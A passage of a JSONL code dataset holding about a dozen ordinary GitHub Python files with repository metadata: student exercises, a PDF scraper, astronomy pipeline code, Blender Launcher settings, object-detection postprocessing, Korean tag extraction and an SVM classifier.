f\"{self.width}/{self.height}\"\n\n    def update(self, *args, **kwargs):\n        \"\"\"Update Rectangle attributes.\"\"\"\n        if args:\n            attrs = ['id', 'width', 'height', 'x', 'y']\n            for i, arg in enumerate(args):\n                setattr(self, attrs[i], arg)\n        else:\n            for key, value in kwargs.items():\n                if key in ['id', 'width', 'height', 'x', 'y']:\n                    setattr(self, key, value)\n\n    def to_dictionary(self):\n        \"\"\"Return a dictionary representation of the Rectangle object.\"\"\"\n        return {\n            'id': self.id,\n            'width': self.width,\n            'height': self.height,\n            'x': self.x,\n            'y': self.y\n        }\n\n    def to_csv(self):\n        \"\"\"Return data for serialization to CSV format.\"\"\"\n        return (\n            f\"{self.id},\"\n            f\"{self.width},\"\n            f\"{self.height},\"\n            f\"{self.x},\"\n            f\"{self.y}\"\n        )\n","repo_name":"LusterPearl/alx-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/rectangle.py","file_name":"rectangle.py","file_ext":"py","file_size_in_byte":3622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14204354108","text":"import requests\nfrom bs4 import BeautifulSoup as bs\nimport sys\nimport io\nfrom io import StringIO\nfrom PyPDF2 import PdfFileReader\nimport PyPDF2 as pdf2\n\n\n\npage = requests.get(\"https://www.recensio.net/rezensionen/zeitschriften/sehepunkte/13/07_08/mexiko-und-das-pazifische-asien-in-der-fra1-4hen/\")\n#https://www.recensio.net/front-page\nsoup = bs(page.text, \"html.parser\")\n\np = soup.find_all('a')\nlist_of_pdf = []\n\nfor link in p:\n\n    list_of_pdf.append(link.get('href'))\n\nnew_list = []\nfor i in range(0,len(list_of_pdf)):\n\n    if list_of_pdf[i] != None:\n        new_list.append(list_of_pdf[i])\n\nlast_list = []\nfor i in new_list:\n    if \"pdf\" in i:\n        last_list.append(i)\n\nprint(last_list)\nresponse = requests.get(last_list[0])\n\nwith io.BytesIO(response.content) as f:\n    pdf = PdfFileReader(f)\n    number_of_pages = pdf.getNumPages()\n    newText = \"\"\n    for i in range(0, number_of_pages):\n        page1 = pdf.getPage(i)\n        text = page1.extractText().split()\n        for j in text:\n            newText = newText + j + \" \"\n    print(newText)\n\n    information = pdf.getDocumentInfo()\n\nfinaltext = newText.split()\nprint(finaltext)\n","repo_name":"Fridulin28/Python-Project","sub_path":"Mining History.py","file_name":"Mining History.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29381850492","text":"__all__ = [\"ResampleSpecStep\"]\n\nfrom .. import datamodels\nfrom ..datamodels import MultiSlitModel, ModelContainer\nfrom . import resample_spec, ResampleStep\nfrom ..exp_to_source import multislit_to_container\nfrom ..assign_wcs.util import update_s_region_spectral\n\n\nclass ResampleSpecStep(ResampleStep):\n    \"\"\"\n    ResampleSpecStep: Resample input data onto a regular grid using the\n    drizzle algorithm.\n\n    Parameters\n    -----------\n    input : `~jwst.datamodels.MultSlitModel`, `~jwst.datamodels.ModelContainer`, Association\n        A singe datamodel, a container of datamodels, or an association file\n    \"\"\"\n\n    def process(self, input):\n        input = datamodels.open(input)\n\n        # If single DataModel input, wrap in a ModelContainer\n        if not isinstance(input, ModelContainer):\n            input_models = datamodels.ModelContainer([input])\n            input_models.meta.resample.output = input.meta.filename\n            self.blendheaders = False\n        else:\n            input_models = input\n\n        for reftype in self.reference_file_types:\n            ref_filename = self.get_reference_file(input_models[0], reftype)\n\n        if ref_filename != 'N/A':\n            self.log.info('Drizpars reference file: {}'.format(ref_filename))\n            kwargs = self.get_drizpars(ref_filename, input_models)\n        else:\n            # Deal with NIRSpec which currently has no default drizpars reffile\n            self.log.info(\"No NIRSpec DIRZPARS reffile\")\n            kwargs = self._set_spec_defaults()\n\n        self.drizpars = kwargs\n\n        if isinstance(input_models[0], MultiSlitModel):\n            # result is a MultiProductModel\n            result = self._process_multislit(input_models)\n        elif len(input_models[0].data.shape) != 2:\n            # resample can only handle 2D images, not 3D cubes, etc\n            raise RuntimeError(\"Input {} is not a 2D image.\".format(input_models[0]))\n        else:\n            # result is a DrizProductModel\n            result = self._process_slit(input_models)\n        return result\n\n    def _process_multislit(self, input_models):\n        \"\"\"\n        Resample MultiSlit data\n\n        Parameters\n        ----------\n        input : `~jwst.datamodels.ModelContainer`\n            A container of `~jwst.datamodels.MultiSlitModel`\n\n        Returns\n        -------\n        result : `~jwst.datamodels.MultiProductModel`\n            The resampled output, one per source\n        \"\"\"\n        containers = multislit_to_container(input_models)\n        result = datamodels.MultiProductModel()\n        result.update(input_models[0])\n        for container in containers.values():\n            resamp = resample_spec.ResampleSpecData(container, **self.drizpars)\n            drizzled_models = resamp.do_drizzle()\n\n            for model in drizzled_models:\n                model.meta.cal_step.resample = \"COMPLETE\"\n                model.meta.asn.pool_name = input_models.meta.pool_name\n                model.meta.asn.table_name = input_models.meta.table_name\n                update_s_region_spectral(model)\n\n            # Everything resampled to single output model\n            if len(drizzled_models) == 1:\n                result.products.append(drizzled_models[0])\n                result.products[-1].bunit_data = container[0].meta.bunit_data\n            else:\n                # When each input is resampled to its own output\n                for model in drizzled_models:\n                    result.products.append(model)\n                    result.products[-1].bunit_data = container[0].meta.bunit_data\n\n        return result\n\n    def _process_slit(self, input_models):\n        \"\"\"\n        Resample Slit data\n\n        Parameters\n        ----------\n        input : `~jwst.datamodels.ModelContainer`\n            A container of `~jwst.datamodels.ImageModel`\n            or `~jwst.datamodels.SlitModel`\n\n        Returns\n        -------\n        result : `~jwst.datamodels.DrizProductModel`\n            The resampled output, one per source\n        \"\"\"\n        resamp = resample_spec.ResampleSpecData(input_models, **self.drizpars)\n        drizzled_models = resamp.do_drizzle()\n\n        for model in drizzled_models:\n            model.meta.cal_step.resample = \"COMPLETE\"\n            model.meta.asn.pool_name = input_models.meta.pool_name\n            model.meta.asn.table_name = input_models.meta.table_name\n            update_s_region_spectral(model)\n\n        # Return either the single resampled datamodel, or the container\n        # of datamodels.\n        if len(drizzled_models) == 1:\n            result = drizzled_models[0]\n        else:\n            result = drizzled_models\n\n        return result\n","repo_name":"stscicrawford/test_jwst_rtd","sub_path":"jwst/resample/resample_spec_step.py","file_name":"resample_spec_step.py","file_ext":"py","file_size_in_byte":4645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31043444757","text":"import logging\n\n\ndef add_logger_args(arg_parser):\n    arg_parser.add_argument(\n        \"--debug\",\n        dest=\"debug\",\n        default=False,\n        action=\"store_true\",\n        help=\"If set, debugging messages will be printed\",\n    )\n    arg_parser.add_argument(\n        \"--quiet\",\n        \"-q\",\n        dest=\"quiet\",\n        default=False,\n        action=\"store_true\",\n        help=\"If set, only warnings will be printed\",\n    )\n\n\ndef configure_logging(args):\n    logger = logging.getLogger()\n    if args.debug:\n        logger.setLevel(logging.DEBUG)\n    elif args.quiet:\n        logger.setLevel(logging.WARNING)\n    else:\n        logger.setLevel(logging.INFO)\n    logger_handler = logging.StreamHandler()\n\n    # Dont add two handlers\n    logger.addHandler(logger_handler)\n","repo_name":"Terascale-All-sensing-Research-Studio/MendNet","sub_path":"fracturing/processor/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"16232501031","text":"import sys\nfrom pathlib import Path\n\nfrom PyQt5.QtCore import QSettings, Qt\n\nfrom modules._platform import get_platform\n\nif get_platform() == 'Windows':\n    import winreg\n\n\ntaskbar_icon_colors = {\n    'White': 0,\n    'Black': 1\n}\n\ntaskbar_icon_paths = {\n    0: ':resources/icons/tray.ico',\n    1: ':resources/icons/tray_black.ico'\n}\n\n\nlibrary_pages = {\n    'Stable Releases': 0,\n    'Daily Builds': 1,\n    'Experimental Branches': 2,\n    'Custom Builds': 3\n}\n\n\ndownloads_pages = {\n    'Stable Releases': 0,\n    'Daily Builds': 1,\n    'Experimental Branches': 2\n}\n\n\nfavorite_pages = {\n    'Disable': 0,\n    'Stable Releases': 1,\n    'Daily Builds': 2,\n    'Experimental Branches': 3\n}\n\n\ndef get_settings():\n    return QSettings('blender_launcher', 'settings')\n\n\ndef get_library_folder():\n    settings = get_settings()\n    library_folder = settings.value('library_folder')\n\n    if not is_library_folder_valid():\n        library_folder = Path.cwd()\n        settings.setValue('library_folder', library_folder)\n\n    return library_folder\n\n\ndef is_library_folder_valid():\n    library_folder = get_settings().value('library_folder')\n\n    if (library_folder is not None) and Path(library_folder).exists():\n        return True\n    else:\n        return False\n\n\ndef set_library_folder(new_library_folder):\n    settings = get_settings()\n\n    if Path(new_library_folder).exists():\n        settings.setValue('library_folder', new_library_folder)\n\n\ndef get_favorite_path():\n    return get_settings().value('favorite_path')\n\n\ndef set_favorite_path(path):\n    get_settings().setValue('favorite_path', path)\n\n\ndef get_launch_when_system_starts():\n    if get_platform() == 'Windows':\n        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,\n                             r'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run')\n        path = sys.executable\n        _, count, _ = winreg.QueryInfoKey(key)\n\n        for i in range(count):\n            try:\n                name, value, _ = winreg.EnumValue(key, i)\n\n                if name == 'Blender Launcher':\n                    if value == path:\n                        return True\n                    else:\n                        return False\n            except WindowsError:\n                pass\n\n        key.Close()\n        return False\n    else:\n        return False\n\n\ndef set_launch_when_system_starts(is_checked):\n    if get_platform() == 'Windows':\n        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,\n                             r'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run',\n                             0, winreg.KEY_SET_VALUE)\n\n        if (is_checked):\n            path = sys.executable\n            winreg.SetValueEx(key, 'Blender Launcher',\n                              0, winreg.REG_SZ, path)\n        else:\n            try:\n                winreg.DeleteValue(key, 'Blender Launcher')\n            except Exception:\n                pass\n\n        key.Close()\n\n\ndef get_launch_minimized_to_tray():\n    return get_settings().value('launch_minimized_to_tray', type=bool)\n\n\ndef set_launch_minimized_to_tray(is_checked):\n    settings = get_settings()\n    settings.setValue('launch_minimized_to_tray', is_checked)\n\n\ndef get_enable_high_dpi_scaling():\n    settings = get_settings()\n\n    if settings.contains('enable_high_dpi_scaling'):\n        return get_settings().value('enable_high_dpi_scaling', type=bool)\n    else:\n        return True\n\n\ndef set_enable_high_dpi_scaling(is_checked):\n    settings = get_settings()\n    settings.setValue('enable_high_dpi_scaling', is_checked)\n\n\ndef get_default_library_page():\n    settings = get_settings()\n\n    if settings.contains('default_library_page'):\n        return get_settings().value('default_library_page', type=int)\n    else:\n        return 0\n\n\ndef set_default_library_page(page):\n    settings = get_settings()\n    settings.setValue('default_library_page', library_pages[page])\n\n\ndef get_mark_as_favorite():\n    settings = get_settings()\n\n    if settings.contains('mark_as_favorite'):\n        return get_settings().value('mark_as_favorite', type=int)\n    else:\n        return 0\n\n\ndef set_mark_as_favorite(page):\n    settings = get_settings()\n    settings.setValue('mark_as_favorite', favorite_pages[page])\n\n\ndef get_default_downloads_page():\n    settings = get_settings()\n\n    if settings.contains('default_downloads_page'):\n        return get_settings().value('default_downloads_page', type=int)\n    else:\n        return 0\n\n\ndef set_default_downloads_page(page):\n    settings = get_settings()\n    settings.setValue('default_downloads_page', downloads_pages[page])\n\n\ndef get_taskbar_icon_color():\n    settings = get_settings()\n\n    if settings.contains('taskbar_icon_color'):\n        return get_settings().value('taskbar_icon_color', type=int)\n    else:\n        return 0\n\n\ndef set_taskbar_icon_color(color):\n    settings = get_settings()\n    settings.setValue('taskbar_icon_color', taskbar_icon_colors[color])\n\n\ndef get_list_sorting_type(list_name):\n    settings = get_settings()\n\n    if settings.contains(list_name + \"_sorting_type\"):\n        return settings.value(list_name + \"_sorting_type\", type=int)\n    else:\n        return 1\n\n\ndef set_list_sorting_type(list_name, sorting_type):\n    settings = get_settings()\n    settings.setValue(list_name + \"_sorting_type\", sorting_type.value)\n\n\ndef get_enable_new_builds_notifications():\n    settings = get_settings()\n\n    if settings.contains('enable_new_builds_notifications'):\n        return get_settings().value('enable_new_builds_notifications', type=bool)\n    else:\n        return True\n\n\ndef set_enable_new_builds_notifications(is_checked):\n    settings = get_settings()\n    settings.setValue('enable_new_builds_notifications', is_checked)\n\n\ndef get_enable_download_notifications():\n    settings = get_settings()\n\n    if settings.contains('enable_download_notifications'):\n        return get_settings().value('enable_download_notifications', type=bool)\n    else:\n        return True\n\n\ndef set_enable_download_notifications(is_checked):\n    settings = get_settings()\n    settings.setValue('enable_download_notifications', is_checked)\n","repo_name":"TheAbstractDev/Blender-Launcher","sub_path":"source/modules/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":6064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"24737813069","text":"# Com base na tabela abaixo, escreva um programa que leia o código de um item e a quantidade deste item. \r\n#A seguir, calcule e mostre o valor da conta a pagar.\r\n# O arquivo de entrada contém dois valores inteiros correspondentes ao código e à quantidade de um item \r\n#conforme tabela acima.\r\n# O arquivo de saída deve conter a mensagem \"Total: R$ \" seguido pelo valor a ser pago, com 2 casas após o \r\n#ponto decimal.\r\n\r\nent = input().split(\" \")\r\nents = [int(num) for num in ent]\r\ncod, qtd = ents\r\n\r\ntupla = (4.00, 4.50, 5.00, 2.00, 1.50)\r\n\r\ntotal = tupla[cod - 1] * qtd\r\n\r\nprint (\"Total: R$ {:.2f}\".format(total))","repo_name":"bielzfreitas/ExUriPython","sub_path":"Ex1038.py","file_name":"Ex1038.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19929674878","text":"# encoding: utf-8\nfrom libs.configs import cfgs\nfrom libs.box_utils import bbox_transform\nfrom libs.box_utils import nms_rotate\nimport tensorflow as tf\n\nfrom libs.box_utils.coordinate_convert import coordinate_present_convert\nfrom help_utils.densely_coded_label import angle_label_decode\n\n\ndef postprocess_detctions(refine_bbox_pred, refine_cls_prob, refine_angle_prob, refine_boxes, is_training, gpu_id):\n\n    # return_boxes_pred = []\n    return_boxes_pred_angle = []\n    return_scores = []\n    return_labels = []\n    for j in range(0, cfgs.CLASS_NUM):\n        scores = refine_cls_prob[:, j]\n        if is_training:\n            indices = tf.reshape(tf.where(tf.greater(scores, cfgs.VIS_SCORE)), [-1, ])\n        else:\n            indices = tf.reshape(tf.where(tf.greater(scores, cfgs.FILTERED_SCORE)), [-1, ])\n\n        refine_boxes_ = tf.gather(refine_boxes, indices)\n        refine_bbox_pred_ = tf.gather(refine_bbox_pred, indices)\n        scores = tf.gather(scores, indices)\n        refine_angle_prob_ = tf.gather(refine_angle_prob, indices)\n\n        angle_cls = tf.py_func(angle_label_decode,\n                               inp=[refine_angle_prob_, cfgs.ANGLE_RANGE, cfgs.OMEGA, cfgs.ANGLE_MODE],\n                               Tout=[tf.float32])\n        angle_cls = tf.reshape(angle_cls, [-1, ]) * -1\n\n        if cfgs.ANGLE_RANGE == 180:\n            refine_boxes_ = tf.py_func(coordinate_present_convert,\n                                       inp=[refine_boxes_, -1],\n                                       Tout=[tf.float32])\n            refine_boxes_ = tf.reshape(refine_boxes_, [-1, 5])\n\n        refine_boxes_pred = bbox_transform.rbbox_transform_inv_dcl(boxes=refine_boxes_, deltas=refine_bbox_pred_)\n        refine_boxes_pred = tf.reshape(refine_boxes_pred, [-1, 4])\n\n        x, y, w, h = tf.unstack(refine_boxes_pred, axis=1)\n        refine_boxes_pred_angle = tf.transpose(tf.stack([x, y, w, h, angle_cls]))\n\n        if cfgs.ANGLE_RANGE == 180:\n\n            # _, _, _, _, theta = tf.unstack(boxes_pred, axis=1)\n            # indx = tf.reshape(tf.where(tf.logical_and(tf.less(theta, 0), tf.greater_equal(theta, -180))), [-1, ])\n            # boxes_pred = tf.gather(boxes_pred, indx)\n            # scores = tf.gather(scores, indx)\n\n            # boxes_pred = tf.py_func(coordinate_present_convert,\n            #                         inp=[boxes_pred, 1],\n            #                         Tout=[tf.float32])\n            # boxes_pred = tf.reshape(boxes_pred, [-1, 5])\n\n            refine_boxes_pred_angle = tf.py_func(coordinate_present_convert,\n                                                 inp=[refine_boxes_pred_angle, 1],\n                                                 Tout=[tf.float32])\n            refine_boxes_pred_angle = tf.reshape(refine_boxes_pred_angle, [-1, 5])\n\n        max_output_size = 4000 if 'DOTA' in cfgs.NET_NAME else 200\n        nms_indices = nms_rotate.nms_rotate(decode_boxes=refine_boxes_pred_angle,\n                                            scores=scores,\n                                            iou_threshold=cfgs.NMS_IOU_THRESHOLD,\n                                            max_output_size=100 if is_training else max(),\n                                            use_angle_condition=False,\n                                            angle_threshold=15,\n                                            use_gpu=True,\n                                            gpu_id=gpu_id)\n\n        # tmp_boxes_pred = tf.reshape(tf.gather(boxes_pred, nms_indices), [-1, 5])\n        tmp_refine_boxes_pred_angle = tf.reshape(tf.gather(refine_boxes_pred_angle, nms_indices), [-1, 5])\n        tmp_scores = tf.reshape(tf.gather(scores, nms_indices), [-1, ])\n\n        # return_boxes_pred.append(tmp_boxes_pred)\n        return_boxes_pred_angle.append(tmp_refine_boxes_pred_angle)\n        return_scores.append(tmp_scores)\n        return_labels.append(tf.ones_like(tmp_scores)*(j+1))\n\n    # return_boxes_pred = tf.concat(return_boxes_pred, axis=0)\n    return_boxes_pred_angle = tf.concat(return_boxes_pred_angle, axis=0)\n    return_scores = tf.concat(return_scores, axis=0)\n    return_labels = tf.concat(return_labels, axis=0)\n\n    return return_scores, return_labels, return_boxes_pred_angle\n","repo_name":"Thinklab-SJTU/DCL_RetinaNet_Tensorflow","sub_path":"libs/detection_oprations/refine_proposal_opr_dcl.py","file_name":"refine_proposal_opr_dcl.py","file_ext":"py","file_size_in_byte":4221,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"16"}
+{"seq_id":"16942045027","text":"import json\r\nimport re\r\nfrom collections import Counter\r\nfrom typing import *\r\nimport distutils.dir_util\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom khaiii import KhaiiiApi  # khaiii 레포는 https://github.com/kakao/khaiii 이쪽\r\n\r\ndef extract_tag_from_song_title():\r\n  MODE = \"Test\"\r\n  if MODE == \"Valid\":\r\n    train = pd.concat([pd.read_json(\"arena_data/orig/train.json\"), pd.read_json(\"arena_data/questions/val.json\")], ignore_index=True)\r\n  else:\r\n    train = pd.read_json(\"res/train.json\")\r\n  dev = pd.read_json(\"res/val.json\")\r\n  test = pd.read_json(\"res/test.json\")\r\n\r\n  def re_sub(series: pd.Series) -> pd.Series:\r\n      series = series.str.replace(pat=r'[ㄱ-ㅎ]', repl=r'', regex=True)  # ㅋ 제거용\r\n      series = series.str.replace(pat=r'[^\\w\\s]', repl=r'', regex=True)  # 특수문자 제거\r\n      series = series.str.replace(pat=r'[ ]{2,}', repl=r' ', regex=True)  # 공백 제거\r\n      series = series.str.replace(pat=r'[\\u3000]+', repl=r'', regex=True)  # u3000 제거\r\n      return series\r\n\r\n  def flatten(list_of_list : List) -> List:\r\n      flatten = [j for i in list_of_list for j in i]\r\n      return flatten\r\n\r\n  def get_token(title: str, tokenizer)-> List[Tuple]:\r\n      \r\n      if len(title)== 0 or title== ' ':  # 제목이 공백인 경우 tokenizer에러 발생\r\n          return []\r\n      \r\n      result = tokenizer.analyze(title)\r\n      result = [(morph.lex, morph.tag) for split in result for morph in split.morphs]  # (형태소, 품사) 튜플의 리스트\r\n      return result\r\n\r\n  def get_all_tags(df) -> List:\r\n      tag_list = df['tags'].values.tolist()\r\n      tag_list = flatten(tag_list)\r\n      return tag_list\r\n\r\n  tokenizer = KhaiiiApi()\r\n  all_tag = get_all_tags(pd.concat([train,dev,test]))\r\n  token_tag = [get_token(x, tokenizer) for x in all_tag]  # 태그를 형태소 분석\r\n\r\n  token_itself = list(filter(lambda x: len(x)==1, token_tag))  # 태그 자체가 형태소여서 분리되지 않는 태그만 골라봅니다\r\n  token_itself = flatten(token_itself)\r\n  flatten_token = flatten(token_tag)\r\n\r\n  print('%-23s'%'# of original tag is', f'{len(all_tag):8,}')\r\n  print('%-23s'%'# of morpheme itself is', f'{len(token_itself):8,}')\r\n  print('%-23s'%'# of total token is', f'{len(flatten_token):8,}')\r\n\r\n  train['plylst_title'] = re_sub(train['plylst_title'])\r\n  train.loc[:, 'ply_token'] = train['plylst_title'].map(lambda x: get_token(x, tokenizer))\r\n\r\n  # tag 분류표는 https://github.com/kakao/khaiii/wiki/%EC%BD%94%ED%8D%BC%EC%8A%A4 를 참고\r\n  using_pos = ['NNG','SL','NNP','MAG','SN']  # 일반 명사, 외국어, 고유 명사, 일반 부사, 숫자\r\n  train['ply_token'] = train['ply_token'].map(lambda x: list(filter(lambda x: x[1] in using_pos, x)))\r\n\r\n  unique_tag = set(token_itself)\r\n  unique_word = [x[0] for x in unique_tag]\r\n\r\n  # 우리의 목적은 정답 tags를 맞추는 것이기 때문에 정답 tags에 나온 형태소만 남겨둡니다.\r\n  train['ply_token'] = train['ply_token'].map(lambda x: list(filter(lambda x: x[0] in unique_word, x)))\r\n  train['predict_tag'] = train['ply_token'].map(lambda x: [tag[0] for tag in x])\r\n  train['predict_tag'] = train.apply(lambda x: [tag for tag in x.predict_tag if tag not in x.tags], axis=1)  # 이미 정답에 있는 건 제외\r\n\r\n  dev['plylst_title'] = re_sub(dev['plylst_title'])\r\n  dev.loc[:, 'ply_token'] = dev['plylst_title'].map(lambda x: get_token(x, tokenizer))\r\n  dev['ply_token'] = dev['ply_token'].map(lambda x: list(filter(lambda x: x[1] in using_pos, x)))\r\n  dev['ply_token'] = dev['ply_token'].map(lambda x: list(filter(lambda x: x[0] in unique_word, x)))\r\n  dev['predict_tag'] = dev['ply_token'].map(lambda x: [tag[0] for tag in x])\r\n  dev['predict_tag'] = dev.apply(lambda x: [tag for tag in x.predict_tag if tag not in x.tags], axis=1)  # 이미 정답에 있는 건 제외\r\n\r\n  test['plylst_title'] = re_sub(test['plylst_title'])\r\n  test.loc[:, 'ply_token'] = test['plylst_title'].map(lambda x: get_token(x, tokenizer))\r\n  test['ply_token'] = test['ply_token'].map(lambda x: list(filter(lambda x: x[1] in using_pos, x)))\r\n  test['ply_token'] = test['ply_token'].map(lambda x: list(filter(lambda x: x[0] in unique_word, x)))\r\n  test['predict_tag'] = test['ply_token'].map(lambda x: [tag[0] for tag in x])\r\n  test['predict_tag'] = test.apply(lambda x: [tag for tag in x.predict_tag if tag not in x.tags], axis=1)  # 이미 정답에 있는 건 제외\r\n\r\n  final = []\r\n  final_dict = dev[['id', 'predict_tag']].to_dict('index')\r\n  final += [i for i in final_dict.values()]\r\n  final_dict = test[['id', 'predict_tag']].to_dict('index')\r\n  final += [i for i in final_dict.values()]\r\n  final_dict = train[['id', 'predict_tag']].to_dict('index')\r\n  final += [i for i in final_dict.values()]\r\n  distutils.dir_util.mkpath(\"./arena_data/model\")\r\n  with open('arena_data/model/pred_tag.json', 'w', encoding='utf-8') as f:\r\n      f.write(json.dumps(final, ensure_ascii=False))","repo_name":"hics33/melon-playlist-continuation","sub_path":"song_title_to_tag.py","file_name":"song_title_to_tag.py","file_ext":"py","file_size_in_byte":4921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"38969430224","text":"# Johdatus ohjelmointiin\n# Print a box with input checking\n\n\ndef read_input(k):\n    answer = -1\n    while answer < 1:\n        answer = int(input(k))\n    return answer\n\n\ndef print_box(leveys,korkeus,merkki):\n    w = int(leveys)\n    h = int(korkeus)\n    s = str(merkki)\n\n    for i in range(h):\n        print(merkki * w)\n\n\ndef main():\n    width = read_input(\"Enter the width of a frame: \")\n    height = read_input(\"Enter the height of a frame: \")\n    mark = input(\"Enter a print mark: \")\n    \n    print_box(width, height, mark)\n\nmain()\n","repo_name":"AJIsoviita/Ohjelmointi-1","sub_path":"Kierrokset/Kierros03/ruutu_2 (1).py","file_name":"ruutu_2 (1).py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6469934301","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 12 08:37:25 2019\n\n@author: zhangzhaopeng\n\"\"\"\n\n## bf\ndef bf(main, pattern):\n    '''\n    字符串匹配，暴力搜索\n    main:主串\n    pattern:模式串\n    查找模式串在主串的位置\n    '''\n    n = len(main)\n    m = len(pattern)\n    i, j = 0, 0\n    while i < n and j < m:\n        if main[i] == pattern[j]:\n            i += 1\n            j += 1\n        else:\n            i = i - j + 1\n            j = 0\n    if j == m:\n        return i - j\n    else:\n        return -1\n\n# test    \nmain = 'BBC ABCDAB ABCDABCDABDE '\npattern = 'ABCDABD'\nbf(main, pattern)  ","repo_name":"zhangzhp7/Algorithm","sub_path":"bf.py","file_name":"bf.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23732288382","text":"\nchild_meal = float(input (\"\\nWhat is the price of a child's meal? \"))\nadult_meal = float(input (\"What is the price of an adult's meal? \"))\nchildren = int(input (\"How many children are there? \"))\nadults = int(input (\"How many adults are there? \"))\nsales_tax = float(input (\"What is the sales tax rate? \"))\n\n\n\nsubtotal = (child_meal * children) + (adult_meal * adults)\npsubtotal = round(subtotal, 3)\nprint(f\"\\nSubtotal: ${psubtotal}\" )\ntax = subtotal * (sales_tax/100)\nptax= round (tax, 2)\nprint(f\"Sales Tax: ${ptax} \")\ntip = subtotal * (20/100)\nptip = round (tip, 2)\nvolunteer = input(\"\\nWould you like to give a tip? Please type 'Yes' or 'No': \").lower()\nif volunteer == \"yes\":\n    print(f\"The suggested tip is: ${ptip}\")\n    agree = input (\"Is that okay? Please type 'Yes' or 'No': \").lower()\n    if agree == \"yes\":\n        total = subtotal + tax + tip\n        ptotal = round (total, 2)\n        print(f\"\\nTotal: ${ptotal}\")\n        payment_amount = float(input(\"\\nWhat is the payment amount?: \"))\n        change = payment_amount - total\n        pchange = round(change, 2)\n        print (f\"Change: ${pchange}\\n\")\n    elif agree == \"no\":\n        volunteer_tip = float(input(\"How much would you like to tip? \"))\n        total = subtotal + tax + volunteer_tip\n        ptotal = round (total, 2)\n        print(f\"Total: ${ptotal}\")\n        payment_amount = float(input(\"\\nWhat is the payment amount?: \"))\n        change = payment_amount - total\n        pchange = round(change, 2)\n        print (f\"Change: ${pchange}\\n\")\nelse :\n    total = subtotal + tax \n    ptotal = round (total, 2)\n    print(f\"Total: ${ptotal}\")\n    payment_amount = float(input(\"\\nWhat is the payment amount?: \"))\n    change = payment_amount - total\n    pchange = round(change, 2)\n    print (f\"Change: ${pchange}\\n\")\n\n\n\n\n\n\n\n\n\n\n","repo_name":"edgardavidcure/Python","sub_path":"milestone1.py","file_name":"milestone1.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"44750619519","text":"while True:\n    a, b = map(int, input().split())\n    if a == 0 and b == 0:\n        break\n    factor = False\n    multiple = False\n    if b % a == 0:\n        factor = True\n    if a % b == 0:\n        multiple = True\n    if factor == True:\n        print(\"factor\")\n    elif multiple == True:\n        print(\"multiple\")\n    else:\n        print(\"neither\")\n","repo_name":"Joanne19-drive/python_algorithm","sub_path":"baekjoon/5086.py","file_name":"5086.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8542124688","text":"#!/usr/bin/python\n\n\"\"\" \n    this is the code to accompany the Lesson 2 (SVM) mini-project\n\n    use an SVM to identify emails from the Enron corpus by their authors\n    \n    Sara has label 0\n    Chris has label 1\n\n\"\"\"\n    \nimport sys\nfrom time import time\nfrom tools.email_preprocess import preprocess\n\n\n### features_train and features_test are the features for the training\n### and testing datasets, respectively\n### labels_train and labels_test are the corresponding item labels\nfeatures_train, features_test, labels_train, labels_test = preprocess()\n\nfrom sklearn import svm\nfrom sklearn.metrics import accuracy_score\nclf = svm.SVC(C=10000.0, kernel='rbf')\nt0 = time()\n#features_train = features_train[:len(features_train)/100]\n#labels_train = labels_train[:len(labels_train)/100]\nclf.fit(features_train,labels_train)\nprint (\"training time:\", round(time()-t0, 3), \"s\")\nt1 = time()\npred = clf.predict(features_test)\nprint (\"predict time:\", round(time()-t1, 3), \"s\")\nprint (accuracy_score(labels_test, pred))\nchris_email_count=0;\nfor prediction in pred:\n    if prediction == 1:\n        chris_email_count = chris_email_count +1\n\nprint (\"predicted count of emails from Chris\", chris_email_count)\n\n\n\n##no. of Chris training emails: 7936\n##no. of Sara training emails: 7884\n##training time: 214.095 s\n##predict time: 21.402 s\n##0.984072810011\n\n","repo_name":"sebaven/udacity-machine-learning","sub_path":"svm/svm_author_id.py","file_name":"svm_author_id.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
